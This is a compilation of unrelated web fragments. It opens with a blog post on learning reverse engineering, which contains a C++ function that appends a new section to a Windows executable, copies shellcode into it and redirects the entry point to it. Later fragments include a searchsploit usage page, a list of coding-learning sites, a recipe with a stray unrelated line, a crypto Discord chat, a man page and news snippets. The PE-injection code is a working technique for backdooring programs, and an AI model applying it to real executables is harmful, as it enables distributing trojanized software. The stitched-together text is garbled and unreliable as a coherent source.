Write Something.......
Writer: Drippy Summer
As many guys in my same ages consider it quite simple to look at the following codes:
#include <stdio.h>
int main(int argc, char* argv[])
{
printf("You guys should know what I'm doing...\n");
return 0;
}
You might yell out without several seconds to glance at that. "Our professor told this is a main function -- something a program enters first and, then uses a tool called std output stream to print the string onto the screen..." blah blah blah.
Well, most students, and even my friends with general CS courses while in fresh year in university (but they are mostly not in CS department) can explain like that. But what if you look at the following codes?
VOID InsertionToNewSection(IN LPSTR fileName, OUT LPVOID* pImageBuffer)
{
LPVOID pFileBuffer = NULL;
LPVOID pTempBuffer = NULL;
LPVOID pointer = NULL;
LPVOID pInsertionBegin = NULL;
LPVOID pTempCode = NULL;
LPVOID pLastSection = NULL;
DWORD fileSize = 0;
DWORD imageSize = 0;
DWORD previousImageSize = 0;
DWORD insertSize = 0;
DWORD JMP = 0;
DWORD i;
//Initialize parameters
SectionList.clear();
//read PE file
fileSize = readPEFile(fileName, &pFileBuffer);
if (!fileSize || !pFileBuffer)
{
printf("Fail to read the PE file!\n");
return;
}
//Read the headers
//To DosHeader
pointer = pFileBuffer;
DosHeader = (DOS_HEADER*)pointer;
//To NTHeader
pointer = (LPBYTE)((DWORD)DosHeader->e_lfanew + (DWORD)pFileBuffer);
NTHeader = (NT_HEADER*)pointer;
//To SectionList
pointer = ((LPBYTE)pointer + 24 + NTHeader->FileHeader.SizeOfOptionalHeader);
for (i = 0; i < NTHeader->FileHeader.NumberOfSections; i++)
{
SECTION_LIST* Section = (SECTION_LIST*)pointer;
SectionList.push_back(Section);
pointer = ((LPBYTE)pointer + 40);
}
//Calculate the resized ImageBuffer
insertSize = (ShellCodeLen / NTHeader->OptionalHeader.SectionAlignment + 1) * NTHeader->OptionalHeader.SectionAlignment;
previousImageSize = NTHeader->OptionalHeader.SizeOfImage;
imageSize = NTHeader->OptionalHeader.SizeOfImage + insertSize;
//Assign the space for the resized ImageBuffer
*pImageBuffer = malloc(imageSize);
if (!*pImageBuffer)
{
printf("Unable to assign the space for the ImageBuffer!\n");
return;
}
memset(*pImageBuffer, 0, imageSize);
NTHeader->OptionalHeader.SizeOfImage = imageSize;
//Copy the headers to the ImageBuffer
for (i = 0; i < NTHeader->OptionalHeader.SizeOfHeaders; i++)
{
*((LPBYTE)((DWORD)*pImageBuffer + i)) = *((LPBYTE)((DWORD)pFileBuffer + i));
}
//Copy the sections to the ImageBuffer
for (std::list<SECTION_LIST*>::iterator it = SectionList.begin(); it != SectionList.end(); it++)
{
pointer = (LPBYTE)((*it)->PointerToRawData + (DWORD)pFileBuffer);
pTempBuffer = (LPBYTE)((*it)->VirtualAddress + (DWORD)*pImageBuffer);
for (i = 0; i < (*it)->SizeOfRawData; i++)
{
*((LPBYTE)((DWORD)pTempBuffer + i)) = *((LPBYTE)((DWORD)pointer + i));
}
pLastSection = (LPVOID)((DWORD)pTempBuffer + i);
}
//Read and change the focus on ImageBuffer
readHeaderInfo(*pImageBuffer);
//Modify the shellcode entry and imageSize
pInsertionBegin = (LPVOID)((DWORD)*pImageBuffer + previousImageSize);
pTempCode = pInsertionBegin;
printf("%x, %x \n", previousImageSize, (DWORD)*pImageBuffer + previousImageSize);
//Insert the new section list
i = 0;
pointer = NULL;
for (std::list<SECTION_LIST*>::iterator it = SectionList.begin(); it != SectionList.end(); it++)
{
if (i == NTHeader->FileHeader.NumberOfSections - 1)
{
pointer = (LPVOID)((DWORD)(*it) + 40);
if (NTHeader->OptionalHeader.SizeOfHeaders + (DWORD)pFileBuffer - (DWORD)pointer < 80)
{
printf("Unable to insert the new section list!\n");
pointer = NULL;
i = 0;
return;
}
SECTION_LIST* Section = (SECTION_LIST*)pointer;
SectionList.push_back(Section);
NTHeader->FileHeader.NumberOfSections++;
break;
}
i++;
}
//Clear the stub in the following SectionList
//(NTHeader->OptionalHeader.SizeOfHeaders + (DWORD)*pImageBuffer - (DWORD)pointer) is the old version and aborted now
for (i = 0; i < 80; i++)
{
*((LPBYTE)((DWORD)pointer + i)) = 0;
}
//Insertion:
//---------------------------------------------------------------------------------
//TODO the code insertion here. This may vary among different types of insert codes
//Copy the format shellcode in position
for (i = 0; i < ShellCodeLen; i++)
{
*((LPBYTE)((DWORD)pInsertionBegin + i)) = shellCode[i];
}
//Calculate and fill in the MessageBox JMP address
JMP = MessageBoxAddr - ((DWORD)pTempCode + 13 - (DWORD)*pImageBuffer + NTHeader->OptionalHeader.ImageBase);
pTempCode = (LPVOID)((DWORD)pTempCode + 9);
*((PDWORD)pTempCode) = JMP;
pTempCode = pInsertionBegin;
//Calculate and fill in the OEP JMP address
JMP = NTHeader->OptionalHeader.AddressOfEntryPoint - ((DWORD)pTempCode + 18 - (DWORD)*pImageBuffer);
pTempCode = (LPVOID)((DWORD)pTempCode + 14);
*((PDWORD)pTempCode) = JMP;
pTempCode = pInsertionBegin;
printf("%x\n",(DWORD)pTempCode - (DWORD)*pImageBuffer);
//Change the OEP and let it point to the beginning of the shellcode
NTHeader->OptionalHeader.AddressOfEntryPoint = ((DWORD)pInsertionBegin - (DWORD)*pImageBuffer);
//End the code insertion
//---------------------------------------------------------------------------------
//Set Characteristics for the new section list
i = 0;
for (std::list<SECTION_LIST*>::iterator it = SectionList.begin(); it != SectionList.end(); it++)
{
if (i == NTHeader->FileHeader.NumberOfSections - 1)
{
//Set Name
strncpy((CHAR*)(*it)->Name, ".shell", strlen(".shell"));
//Set VirtualSize
(*it)->VirtualSize = ShellCodeLen;
//Set VirtualAddress
(*it)->VirtualAddress = ((DWORD)pInsertionBegin - (DWORD)*pImageBuffer);
//Set SizeOfRawData
(*it)->SizeOfRawData = (ShellCodeLen / NTHeader->OptionalHeader.FileAlignment + 1) * NTHeader->OptionalHeader.FileAlignment;
//Set PointerToRawData
(*it)->PointerToRawData = (DWORD)pInsertionBegin - (DWORD)*pImageBuffer - (NTHeader->OptionalHeader.SectionAlignment - NTHeader->OptionalHeader.FileAlignment) * (NTHeader->FileHeader.NumberOfSections);
//Set PointerToRelocations
(*it)->PointerToRelocations = 0;
//Set PointerToLinenumbers
(*it)->PointerToLinenumbers = 0;
//Set NumberOfRelocations
(*it)->NumberOfRelocations = 0;
//Set NumberOfLinenumbers
(*it)->NumberOfLinenumbers = 0;
//Set Characteristics (Executable, writable, readable)
(*it)->Characteristics = TextSectionCharacter;
}
i++;
}
pFileBuffer = NULL;
}
Such a function seems messy and might confuse you what this is functioning. Well this is a piece of code I wrote several months before aiming to inject piece of code to an executable programm and this is just a function of it. This work, obvious is not what we call forward software engineering, but the reverse process of it.  Nevertheless, if you are an armanent expert and offered to get the information of foreign weapons, if any (maybe some guns left in the battle), you will choose the method to dismantle that weapon and analyze part by part. Actually at this time, you're doing reverse engineering.
I actually start self-learning reverse software engineering a year ago when I struggle from assembly language. But after half a tough year, C and C++ seems quite friendly to me. For when you look at codes in a more fundamental aspect(such as assembly or machine codes "01001010"), those doubts behind data structures, procedure-oriented, object-oriented, compiling basic and operating system find their way to nowhere.
Considering this is just a intro and I gonna make it relaxed. Following is just for those without computer bases.
We are getting started...
Maybe most of us use computers every day. As I was young, I personally, and people around me all use Windows operating system. And most of themplays a pratical drive on using that "operating interface". But few of them learnt how system calculate those numbers, handle those events when they open the calculator, type the keyboard, and words, figures appears on Windows.


Description
Splash-cli is a tool who provides to easly download photos from unsplash and set them as your wallpaper. The photos have full resolution and are under the do whatever you want license
Installation
Let's go! Download the latest release enter in the folder [splash-cli-X.X.X.zip
]


{%extends 'base.html'%} {% block content %}
Gallery App is an image sharing and social media service designed to enable saving and discovery of information on the World Wide Web using images.
By Lorna Kirui


|
libSMCE 0.0
SmartCar Platform Emulator library
|
#include "SMCE/internal/SharedBoardData.hpp"
Namespaces | |
| namespace | smce |
Typedefs | |
| using | ShmSegMan = bip::managed_shared_memory::segment_manager |
| using | ShmVoidAllocator = bip::allocator< void, ShmSegMan > |
| using ShmSegMan = bip::managed_shared_memory::segment_manager |
| using ShmVoidAllocator = bip::allocator<void, ShmSegMan> |


searchsploit
Searchsploit searches exploit database's database for exploits, shellcodes and/or papers.
If known version numbers are used as search terms, exploits for both the exact version and others whose version range covers the one specified are shown.
More information: home page
- Search for an exploit, shellcode, or paper:
searchsploit search_terms
- Search for a known specific version, e.g. sudo version 1.8.27:
searchsploit sudo 1.8.27
- Show the exploit-db link to the found resources:
searchsploit --www search_terms
- Make a copy of the resource to the current directory (requires the number of the exploit):
searchsploit --mirror exploit_number
- Open the resource to read with the pager defined in the `$PAGER` environment variable:
searchsploit --explore exploit_number
- Update the local exploit database:
searchsploit --update


{% endblock js_initialize %} {% block body_class %}visual-index{% endblock %} {% block content %}
Low cost stations in the Mara River Basin collect real time data. Here the open access data can be viewed. Click one of the channels to view data of your interest.
Select Display Mode:
| Weather Station | Weather Variable | Time Interval | Month | Year | Aggregation |
|
|
|
|
|
|
|


RAMADDA Workshop
6.2 Access Control
RAMADDA provides a very rich role based access control mechanism.


data as attributes
...loading...
data as single attribute JSON
take care to properly bind it
...loading...
data dynamicly
...loading...
generic callback
...loading...
mode day (marks whole days)
...loading...
with link
canonical || actual
...loading...
actual
...loading...
custom
...loading...


Top Programming sites for Beginners
Gone are the days when programming languages could only be mastered programmers like Bill Gates, who later got to dominate the world by storm. Now everyone holds the same potential, and the chance to learn and even master programming language
Kickstart the beginning of your new path into programming today!
Codecademy is indisputably the most famous website to teach you to code interactively, thanks to its helpful interface and well-structured courses. Upon visiting the main page, you can already start tasting the programming right away, with its motivating on-screen console. Pick a course that Codecademy offers from Web Fundamentals, PHP, JavaScript, jQuery, Python, Ruby and APIs.
Inside each lesson is a panel that explains necessary code and instruction.  Don’t worry about making mistakes, as both instruction and code panels will warn you of errors, and provide hints. It is as if there’s a kind teacher right beside you.
Code Avengers is designed to make you love programming. Though it only offers HTML5, CSS3 and JavaScript course for now, each of the courses is carefully designed to truly entertain you while leveling your programming skills painlessly. At the end of each lesson you also get to play a mini game to release your cumulated stress, and keep you going for longer.
Code Avengers has a gradual approach to interactive learning. It does not explain too much knowledge that isn’t essential for beginners, just a bit of code and playful instruction, making things very easy to digest. You also get to play with the code, then see the impact of the changes immediately. It is carefully crafted with the beginner’s comfort in mind.
After you finished courses in Codecademy or Code Avengers, and you are ready to further expand your capabilities, Code School is the next quality website you should land on. Unlike most interactive learning sites, Code School offers more in-depth courses to train and turn you into an expert with the industry’s best practices.
Almost all courses are aggressively polished with impressive design and informative screencasts, though the challenges after the screencast might bit a bit hard for amateurs. Luckily, there are hints and answers to refer to. While most of the offered courses are free, certain ones will require you to spend $25/month to access the entire course including all screencasts and challenges, and also all other courses in Code School.
Treehouse courses are more project-oriented than language-oriented, so they are perfect for novice programmer with a planned purpose, such as building a website, or an application. For example, the Websites course is all about building a responsive website, interactive website or even WordPress theme – a very practical and efficient way to master related languages. Nonetheless, they have released a plethora of foundation courses with a video-then-quiz approach.
For Treehouse, every course is divided into different stages or modules, and beyond every first stage the learner will be invited to pay a monthly subscription fee of $25 to access all courses with 650+ videos, and an exclusive Treehouse Members Forum as a bonus. If you are serious about your programming future, you could subscribe the $49 monthly plan to obtain in-depth interviews with leading industry pros and cutting-edge workshops.
If you are that kind of personnel who do not fancy playful design and prefer to deal with cold hard codes, LearnStreet is probably your thing. It currently offers JavaScript, Python and Ruby courses at beginner level. With a click on the ‘Start Course’ button you will start the lesson with an exercise, a code interpreter and a glossary panel (for new programming terms).
LearnStreet adopts command prompt-styled code interpreters with human language to explain function and encourage you whenever possible, the kind of command prompt you want for your own local machine. However, the code interpreter could be as rude as standard command prompt, as most of the times it requires you to type in the absolute same code and content it asks for.
Other than that, it’s truly friendly and enjoyable, and most importantly, free.
Udacity is the unification of insightful video lectures and improved quizzes to achieve the interactive feel for students, so it’s ideal for those who don’t like to read but rather get explanations from industry professionals such as Google employees.
You will be given a screencast from pros discussing the topics and instructions, then you will take either logic or programming quizzes to strengthen your understanding or forge it into a skill. The good thing about Udacity is it provides more videos than any other site, and the instructors are either real-life professors or industry veterans.
The only pitfall here is most courses are not much related to each other, so Udacity is probably not your starting point, but a virtual university to further your study.
At this point all websites you read here are mainly dedicated to web development and computer science, but CodeHS is one with simple and fun game programming lessons that involve problem solving, JavaScript, animation, data structures, game design and puzzle challenges.
The advantage of CodeHS is it teaches you to think, and solve a problem like a programmer with its first course, Programming with Karel. The lessons are fun as you will learn how to use the code to move the dog, Karel to complete given tasks and puzzles like picking up ball and building a towel. It plants a solid concept of programming and the way it solves the problem systematically in your mind.
Other than the course mentioned above, you must sign up first with $25 per month to continue your learning journey, but it’s a perfect site to learn basic game programming effectively.
Although Khan Academy’s courses are not as structured as CodeHS, it serves as an open playground for both novice and amateurs particularly interested in learning drawing, animation and user interaction with code. It does not preach any specific programming language, but the code pattern it adopts can be applied anywhere, as a majority of languages share the similar programming pattern.
You can first join the Programming Basics course to watch and learn basic concepts, then explore the given code after the video tutorial to validate your doubts. With Khan Academy, you can save your modification as a Spin-Off for everyone to enjoy and customize. There have been hundreds of spin-offs just from one lesson in one course, so imagine the community size, and the lesson’s effectiveness.
Think CodeHS and Khan Academy are still too hardcore for your child, who has no comprehension beyond basic English? No worries, there is something even easier for your aspiring next-gen programmer, and it’s called Scratch. Previously an offline software that allow kids to create, upload and share their projects proudly, Scratch is now fully online with its 2.0 successor.
It’s not about programming though, but a combination of visual blocks of commands that tell assigned objects how to behave, such as telling the cat to move 10 steps, or yell ‘meow’ when it touches the owner’s leg. By using this visual programming method, the young programmers will form a habit of breaking a problem into smaller blocks, and solve them one by one logically.
Structured Query Language (SQL) is just a language purely designed to store and retrieve data from a database, so imagine the boredom you will experience when programming a warehouse. Yet SQLZOO wants you to learn SQL happily with its interactive interface and smileys.
Since there is really nothing too deep to explain for a straightforward language like SQL, the site will only ask you to replace the variables like city names or population number, and raise the difficulty from that level. One huge let-down will be the shortage of hints, answers and forum, so you are probably doomed if you fail to solve any one of the quizzes, just like old times.


VRO ‘bites’ ear of colleague in Kurnool
by Special CorrespondentThe MRO office here was witness to fisticuffs between two VROs on Sunday.
Differences of opinion in money transactions led to an altercation between Joharapuram VRO Krishnadevaraya and his Sunkesula counterpart Venugopala Reddy.
Later, they resorted to fisticuffs and, in a fit of rage, Mr. Krishna-devaraya allegedly bit Mr. Reddy’s ear. MRO Tirupati Sai intervened and brokered peace.


This is a simple page which will show message recieved from the server. To see the example message click link
Current message: {{ currentMessage }}


Roasted Potatoes
Ingredients
- 1 1/2 pounds small red or white-skinned potatoes (or a mixture)
- 1/8 cup good olive oil
- 3/4 teaspoon kosher salt
- 1/2 teaspoon freshly ground black pepper
- 1 tablespoons minced garlic (3 cloves)
- 2 tablespoons minced fresh rosemary leaves
Instructions
Preheat the oven to 400 degrees F.
Cut the potatoes in half or quarters and place in a bowl with the olive oil, salt, pepper, garlic and rosemary; toss until the potatoes are well coated.
Dump the potatoes on a baking sheet and spread out into 1 layer; roast in the oven for at least 1 hour, or until browned and crisp.
Flip twice with a spatula during cooking to ensure even browning.
Melt together butter and dark chocolate. Allow to cool to room temperature.
Source: Food Network


Draw a shape on the map and get the estimated population within that area.
About the Data
Explore population data around the globe with the WorldPop Data Explorer. WorldPop is a premier open source high-resolution data source for population and demographic information.WorldPop provides open access to spatial demographic datasets, covering aspects such as population counts, age structures, births, pregnancies and poverty.
All data is released under a CC-BY licensed and full available. Methodology can be found on WorldPop Methods page.


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M6.0 - 6km NW of American Canyon, California (BETA) 2014-08-24 10:20:44 UTC
USGS Earthquake Hazards Program, responsible for monitoring, reporting, and researching earthquakes and earthquake hazards
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Talko | Talko is the best way to use your voice to get things done.
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www.nowykurier.com
To view this page ensure that Adobe Flash Player version 10.0.0 or greater is installed.
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SSD Cloud Server, VPS Server, Simple Cloud Hosting
Deploy an 512MB RAM and 20GB SSD cloud server in 55 seconds for $5/month. Simple, fast, scalable SSD cloud virtual servers.
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The Learning Myth: Why I'll Never Tell My Son He's Smart
By: Salman Khan Join the #YouCanLearnAnything movement My 5-year-old son has just started reading. Every night, we lie on his bed and he reads a ...
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Smart Phones for Smart Kids
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Siri's Inventors Are Building a Radical New AI That Does Anything You Ask | WIRED
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The Most Fascinating Profile You'll Ever Read About a Guy and His Boring Startup | WIRED
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Take free online classes from 80+ top universities and organizations. Coursera is a social entrepreneurship company partnering with Stanford ...
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Twitter / Recherche - #worldcup
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All Our Patent Are Belong To You | Blog | Tesla Motors
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Heartbleed Bug
The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. This weakness allows stealing the information ...
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SpaceX Webcast
SpaceX designs, manufactures and launches advanced rockets and spacecraft..
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The Official Microsoft ASP.NET Site
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This Flowchart Tells You When to Worry About Anything
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Scorpion Brings the Stupidest, Most Batshit Insane Hacker Scene Ever
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iPhone 6 Plus Bend Test
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You've just created a simple Play Framework application with play-yeoman plugin configured.
You need to have npm, bower, yeoman and grunt installed before doing anything else. Please follow the instructions at yeoman.io to get started.
Before you start building the application, use yeoman generator on the SBT console to create your web application.
For example to create an agular web application use,
sbt> yo angular
To run the application, you can use the standard play run command. This will run grunt and build the web app.
sbt> run
Once the application has been compiled and the server started, your application can be accessed at: http://localhost:9000
Check in Run to see the server status.
The Play Documentation contains much more exhaustive details and also covers a number of other topics which haven't been addressed in this tutorial.
For learning more about yeoman, checkout the website here.
More information and documentation for play-yeoman plugin can be found here.
StackOverflow is a great place ask questions about Play.
The play-framework Google Group is a great place to discuss Play.


Welcome to our Special offers
You get 10 percent on all trips and meals.
our meals are prepared with organic crops freshly taken from the farm which makes them highly nutritious.
You also get pumpkin soup for free. Discover our special offers now!
Spreewald Welcomes You
The Spreewald Winter has its own charm. Experience an unforgettable winter holiday in the Spreewald! You can experience the white fairy-tale landscape in the Spreewald with mulled wine train rides or skating! Long-lasting frosty temperatures make the region a paradise for ice hikers and skaters. We exchange the common Ski slopes and Chairlifts experience with the unique extended winter walks on clear air, rides on the frozen sledges.
Enjoy every bit of wellness in the Spreewald and the soothing warmth of a bath or massages with Spreewald herbs.
The winter holiday in the Spreewald is pure deceleration, because a relaxed silence is spreading throughout the region. Our special offers make the holiday booking easy.
Winter Boat rides in Spreewald
From November to March the Spreewald is winter season. In the cold season, the popular "Glühweinkahnfahrten", as the winter boat drives are called in the Spreewald, start only about twice a day at selected ports. We have cozy Blankets and hot drinks on board for cushion on this romantic winter boat trip through the snowy nature. Now in winter, the silence of nature is almost audible, because in the Spreewald it is very quiet after the peak season. Enjoy the uniqueness of a boat trip in the off-season, because you are almost alone on the rivers of the region. Tip: Not all ports offer daily winter boat rides in the low season. Therefore, we recommend that prior to your arrival to the ports for "Glühweinkahnfahrten" in Spreewald ask for individual tours.You can find all these offers in sports
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ABIWORD(1) ABIWORD(1) NAME abiword — flexible cross-platform word processor SYNOPSIS abiword [OPTIONS] [FILENAME...] DESCRIPTION AbiWord is a full-featured, efficient word processing application suit‐ able for a wide range of word processing tasks, and extensible with a variety of plugins. It integrates with enchant(1) to provide spell-check‐ ing. OPTIONS -g WxH[+X+Y], --geometry=WxH[+X+Y] Specifies window geometry at startup. -E PLUGIN, --plugin=PLUGIN Execute the specified plugin instead of the main application. --import-extension=EXT Import the given file as if it had extension EXT, overriding auto‐ matic file type detection. -u PROFILE, --userprofile=PROFILE Use PROFILE to read and store settings instead of the default XDG_CONFIG_HOME/abiword/profile. -t DEST, --to=DEST Convert the given file to another format, writing the result to DEST. The format of DEST is determined by its extension. See also --to=FORMAT and --to-name. -t FORMAT, --to=FORMAT Convert the given files(s) to the given format. Unless explicitly specified with --to-name, the original filename will be used (with a different extension, if necessary). See also EXAMPLES. The more popular values for FORMAT include: lb lx. abw T{ Abiword XML format (zabw for gzip, bzabw for bzip2 compression) T} dbk DocBook XML doc Microsoft Word binary format docx T{ Office Open XML (newer Microsoft Word versions) T} html Hypertext Markup Language kwd KWord odt OpenDocument Text pdf Portable Document Format rtf Rich Text Format sxw OpenOffice.org Writer 1.0 txt Plain text --to-name=DEST Only useful in conjunction with --to=FORMAT. Specifies where the converted document shall be written to. --verbose=LEVEL Set level of verbosity [0-2], 2 giving the most detailed output. -h, --help Display a short help message and exit. --version Report the version of AbiWord. ENVIRONMENT VARIABLES HOME Defines the user's home directory. XDG_CONFIG_HOME Defines the base directory relative to which user specific config‐ uration files should be stored. (See the XDG Base Directory Speci‐ fication for details.) FILES XDG_CONFIG_HOME/abiword/profile The default user profile file. (If XDG_CONFIG_HOME is either not set or empty, a default equal to HOME/.config will be used.) EXAMPLES To convert the document example.abw to RTF: abiword --to=rtf example.abw The resulting file will be named example.rtf. To print a document: abiword --to=ps --to-name=fd://1 FILENAME | lp REPORTING BUGS Report bugs to the Bugzilla bug tracking system at <http://bugzilla.abisource.com>. SEE ALSO enchant(1) HISTORY AbiWord was started in 1998 by AbiSource Inc., a company founded by SourceGear corporation. The initial plan was to build a free office suite named AbiSuite, encompassing word processing, spreadsheet and presenta‐ tion applications. As they didn't have a usable product when their ven‐ ture capital was up, the code already developed (namely AbiWord) was made open source. AbiWord development was subsequently taken over by volun‐ teers and is driven by the community to date. AbiWord 2.9 2012-04-26 ABIWORD(1)


Given the following function definitions:
var curry = function (f) { return function (x) { return function (y) { return f(x,y); }; }; }; var compose = function (f,g) { return function (x) { return f(g(x)); }; }; var g = function (x) { return 2 * x + 2; };
what is the value of the following function call?
curry( compose )( g )( function (x) { return x/2; } )( 8 )
Is g or the anonymous function invoked first when the two functions are composed as done in this function call?
Is each function being invoked given the expected number of arguments?
Is each function being invoked given the expected type of arguments?


--- layout: default --- //I don't know how to link images here, so I used an imgur link. -Pavel. The rest I can change though The latest news Hear the latest progress on Salmonberries and our findings. You're currently looking at articles categorised under {{ page.title }}. View all posts instead. {% include list-posts.html posts=page.posts %}
Hear the latest progress on Salmonberries and our findings.
You're currently looking at articles categorised under {{ page.title }}. View all posts instead.


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the format that you would like them encoded to or decoded from. Click on the Encode/Decode button and the transformed URLs will appear in the same text input box.


Let p(n) represent the number of different ways in which n coins can be separated into piles. For example, five coins can separated into piles in exactly seven different ways, so p(5)=7.
| OOOOO |
| OOOO O |
| OOO OO |
| OOO O O |
| OO OO O |
| OO O O O |
| O O O O O |
Find the least value of n for which p(n) is divisible by one million.


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Ask questions or make suggestions about marketing, business development, or anything else relevant. This is the channel to discuss topics with Komodo team.
r/CryptoCurrency: The official source for CryptoCurrency News, Discussion & Analysis.
upvote here!
Deleted User11-Jul-18 02:49 PM
Loving these new marketting posts, very good information, easy on the eyes, good explanations
graphics are very good
Keep it up guys(edited)
2
Audo11-Jul-18 03:15 PM
New channel #team-business-dev was just created(edited)
Jimm B.11-Jul-18 04:02 PM
I would like to see that CMC e.g. at Utrum indicates that it is a Komodo Assetchain and that under the BTC value the KMD value is displayed (as with erc20 the ETH value). Do you think that's possible? For what reason is it done with erc20? did CMC want it or did ETH pay for it?
PTYX11-Jul-18 04:12 PM
It's probably just a request thing
Regnar11-Jul-18 04:29 PM
anyone have the link to the github where you can request to add coins to barterDEX?
coins - coin parameters and all files needed for GUI support
Regnar11-Jul-18 04:31 PM
yupppp
thanks
I assume jl777 owns this?
jl777c11-Jul-18 04:42 PM
I mostly just blindly approve pull requests
just needs to be correct info
Regnar11-Jul-18 04:47 PM
@jl777c I'm thinking of adding a couple of steps to this process (for marketing reasons), not to affect the ease of requests or anything.
Basically they already provide their logo (to be used on barterDEX) so we use that for the poster, and they should provide the email of their social media contact. Someone on our team, or me or whatever, would basically add their logo to a template that shows they are now supported on BarterDEX, with Komodo logos, social media handle, etc and theirs. and we provide it to their social media account holder so they can post the promotional material on their twitter, reddit, etc(edited)
jl777c11-Jul-18 04:53 PM
ok by me, just tell me when I can approve a pull request
someone that is part of the process needs to give a "ready to merge" comment on each pull request, I can go with that
Regnar11-Jul-18 04:57 PM
okay @benohanlon@Steve Lee I'm not sure who we want to put on this part? I think we could just add an optional step in the readme that says have their social media contact email X address. or something. in the nature of Komodo, it shouldn't be mandatory to be listed, but should be a way for mutual marketing benefits
Regnar11-Jul-18 05:09 PM
2. Icon file (Required)
• The icon file is required.
• Icon must be a .png format file.
• Dimensions of icon file is 82x82 pixels.
• Icon file name MUST be in small letters.
• Icon file location is icons directory.
• Send a (XX) sized PNG file of your logo in an email to (XXX) from your social media/marketing lead’s email to receive joint marketing material upon integration (Optional)
I'm thinking something like this, just put in whoever is going to handle the template, adding their logos and emailing it back. This way they can still add to barterDEX (jl777 doesn't have to wait for merge approvals) and we can still get some joint marketing(edited)
ComputerGenie11-Jul-18 05:11 PM
imo, if the repo gets used in any marketing way then "It must be tested and working before it will be added" needs to be in as large and bold lettering as possible
Regnar11-Jul-18 05:13 PM
step 0 is The coin must be tested with BarterDEX atomic swaps. So by the time they are applying for it to be listed, including the marketing part in step 2, we assume they are already working right?
but yea, the receiver of the email might have to make sure they have posted the request to github, and if jl approved the merge, we can send out the email? or do we send out the email just before the approval? I don't think there is too big a difference in the order of this aspect. just as long as we don't send the email when it's not going to be listed
Regnar11-Jul-18 05:51 PM
any of the marketing guys I tagged have thoughts on this idea?
We should be trying to get coins that we support to post joint marketing material to their social medias and channels. That will give us more more unique impressions and possibly new viewers
jorian11-Jul-18 05:53 PM
i nominate Regnar for CMO
1
1
1
Daniel CP11-Jul-18 05:59 PM
We
We've discussed doing somethinng like this before, @benohanlon had a social media plan to coordinate with all the new coins added to the DEX
It's a great idea to add it to github tho, would make it easy for us to reach out and contact people, rather than having to DM on Twitter or whatever
Regnar11-Jul-18 06:04 PM
Yea I posted this back on Slack but we were updating barterDEX so frequently that it was impractical tbh. but now that we are pushing out scheduled updates with batches of coins, it seems this would be much more effective, and now that it's done through github I figured I'd just modify this plan to fit this route
Regnar11-Jul-18 06:12 PM
@jorian I'll take, part time, independent marketing and business consultant
whoah my name is a different color! I'm community support now
1
ComputerGenie11-Jul-18 06:14 PM
tries desperately to not say "you have been colored for some time"
fails to not do so
Regnar11-Jul-18 06:14 PM
lol have I been? I have my screen turned down today but i'm like 99% sure this is new from today
ComputerGenie11-Jul-18 06:16 PM
not sure what color it was/wasn't, other than I'm almost sure it wasn't white
Regnar11-Jul-18 06:16 PM
I remember looking recently and it was definitely white lol
Steve Lee11-Jul-18 06:17 PM
@PTYX i have a personal relationship with Shash (owner of altcoin buzz). Just DM me details and i can follow up personally with him.
Hey guys! As you've probably noticed I will be doing a review of @LBRYio next week. They've decided to give me some tshirts, & 250 in $LBC tokens for a giveaway! You have until Sunday 7/15 and there's a few different ways to enter: https://t.co/mrK4HBo6MM
#crypto #LBRY #gi...
Kind of weird that vitalik is active in that thread
And saying 5$ tx fees arent important...
ComputerGenie12-Jul-18 09:34 AM
measuring tx fees in USD is ignorant
2
ComputerGenie12-Jul-18 10:02 AM
@Cryptoon This convo shouldn't be in marketing, however.....
let's take 0.00001124 BTC in fees:
2016: $0.0051704 - BTC was $460
2017: $0.1850104 - BTC was $16,460
2018: $0.0692384 - BTC is $6,160
for the same tx fee
fee/USD isn't important
grewalsatinder12-Jul-18 10:03 AM
Agree with genie
But for start that wont be the case
Till majority is switched to cryptocurrency only
benohanlon12-Jul-18 10:33 AM
Yes @Daniel CP@Regnar I've submitted an idea to @Steve Lee where we would create a series of evergreen posts... each post focuses on one coin that BarterDEX supports with a one line description of what that coin is about + tags their community into it and uses their currency ticker.
These kind of posts can be created once and sent out once or twice a day randomly using a tool like meetedgar to help bring other communities to us and showcase how many coins are supported and educated people.
This is on hold until we have liquidity - I believe @Steve Lee concern is that we'll be pushing people onto barterdex / hyperdex and there won't be enough liquidity to allow them to buy / sell anything.
2
It would include a graphic too... ideally sourced from their community for a bounty to engage them.
Cryptoon12-Jul-18 10:41 AM
@ComputerGenie@grewalsatinder yeah but most people dont think in satoshis but in fiat
ComputerGenie12-Jul-18 10:45 AM
Do those same people look at their grocery receipt and determine how much the tax cost them when converted into South African Rand? No. Just because some choose to have an incorrect view of the space doesn't mean the space (and especially marketing) should change to their wrong view.
Cryptoon12-Jul-18 11:18 AM
No but for example over here, sometimes you have to pay extra when you want to pay with card
And that's a thing those people DO see
And that's a thing those people DO see
And that's a thing those people DO see
And tx fees fall under the same category
Sorry for the spam, discord is glitching
ComputerGenie12-Jul-18 11:24 AM
@Cryptoon If people start calling a rabbit a lion, should marketing also call a rabbit a lion or tell people that a rabbit isn't a lion?
Cryptoon12-Jul-18 11:24 AM
@ComputerGenie you know what I mean
Sometimes it's better to explain things in a way normies understand
To get them on board
I can explain crypto to my mother in a way that makes me sound like an asshole and she still wont understand a thing
ComputerGenie12-Jul-18 11:25 AM
you know what I mean
yes, and I also know it's dumb to let wrong people change the meaning of the space
Cryptoon12-Jul-18 11:25 AM
But it's better off to explain in laymens terms and compare it to stuff they understand
ComputerGenie12-Jul-18 11:26 AM
in this instance, it's really not; words matter(edited)
on this topic, it's not just a matter of semantics, it's an entire conceptual shift
for crypto to succeed, the currency part of cryptocurrency must be in the forefront; otherwise, were all just messing about with commodities and no real adoption will ever take hold
Cryptoon12-Jul-18 11:36 AM
Yes for sure, but for example when we switched to the euro in 2000 over here, a lot of people were (and still are) calculating how much is was in the previous currency. So expect the same thing to happen even when the big shift to crypto happens. It's in the nature of people that change is hard for them and don't think you can change that.


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Marcus Rashford's Man Utd goals outlined as his mum digs out childhood keepsake
Marcus Rashford posted a throwback to something he wrote in school which shows how much he is living the dream as a Man Utd player
by Rich Jones, https://www.mirror.co.uk/authors/rich-jones/Manchester United striker Marcus Rashford has shared a heartwarming throwback which shows he is living the dream.
Local lad Rashford has risen through the ranks to become on of United's star players.
And he took to social media to share a picture of a document he wrote as a child that was dug out by his mother.
In the piece, he discusses his future ambitions and highlights his dream to succeed as a professional footballer with the Red Devils.
A section entitled "future and aims" said: "I hope that my future is very bright in and out of school, especially in my career as a footballer.
"I want to have a different lifestyle and make my family and others proud of me.
